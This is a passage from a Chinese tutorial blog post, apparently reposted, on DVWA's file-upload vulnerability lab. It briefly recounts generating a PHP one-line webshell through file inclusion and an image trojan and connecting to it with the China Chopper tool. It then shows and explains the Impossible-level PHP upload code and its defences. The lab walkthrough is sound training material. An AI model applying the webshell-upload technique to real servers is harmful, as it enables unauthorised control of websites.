此时在DVWA文件包含漏洞的路径下便自动生成了PHP一句话木马脚本文件muma.php,如下图所示:

此时再上菜刀连接,即可成功连接:

至此,我们成功结合文件包含漏洞,在只能上传图片的文件上传功能处上传图片木马并生成一句话木马。最后附上一篇博文,介绍了图片木马+解析漏洞的利用:PHP图片木马。

Impossible

继续查看源码先:

<?php
if( isset( $_POST[ 'Upload' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/'; //$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-'; $target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; $temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) ); $temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; // Is it an image? if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) && ( $uploaded_size < 100000 ) && ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) && getimagesize( $uploaded_tmp ) ) { // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD) if( $uploaded_type == 'image/jpeg' ) { $img = imagecreatefromjpeg( $uploaded_tmp ); imagejpeg( $img, $temp_file, 100); } else { $img = imagecreatefrompng( $uploaded_tmp ); imagepng( $img, $temp_file, 9); } imagedestroy( $img ); // Can we move the file to the web root from the temp folder? if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) { // Yes! echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>"; } else { // No echo '<pre>Your image was not uploaded.</pre>';        }
// Delete any temp files if( file_exists( $temp_file ) ) unlink( $temp_file ); } else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; }}// Generate Anti-CSRF tokengenerateSessionToken();
?>

可以看到,Impossible级别的代码对上传文件 进行了重命名(为md5值,导致%00截断无法绕过过滤规则),加入Anti-CSRF token防护CSRF攻击,同时对文件的内容作了严格的检查,导致攻击者无法上传含有恶意脚本的文件。

————————————————

作者:Tr0e。原文链接:https://blog.csdn.net/weixin_39190897/article/details/85334893

侵权请私聊公众号删文

 热文推荐  

欢迎关注LemonSec

觉得不错点个“赞”、“在看”


文章来源: http://mp.weixin.qq.com/s?__biz=MzUyMTA0MjQ4NA==&mid=2247534556&idx=2&sn=852967d06d32e9a2cdfdd152a9e6ff54&chksm=f9e32887ce94a191de03b6f2dc957d19b116a3a94aa58a2bd6a966a793d8fdab075158796f7d#rd
如有侵权请联系:admin#unsafe.sh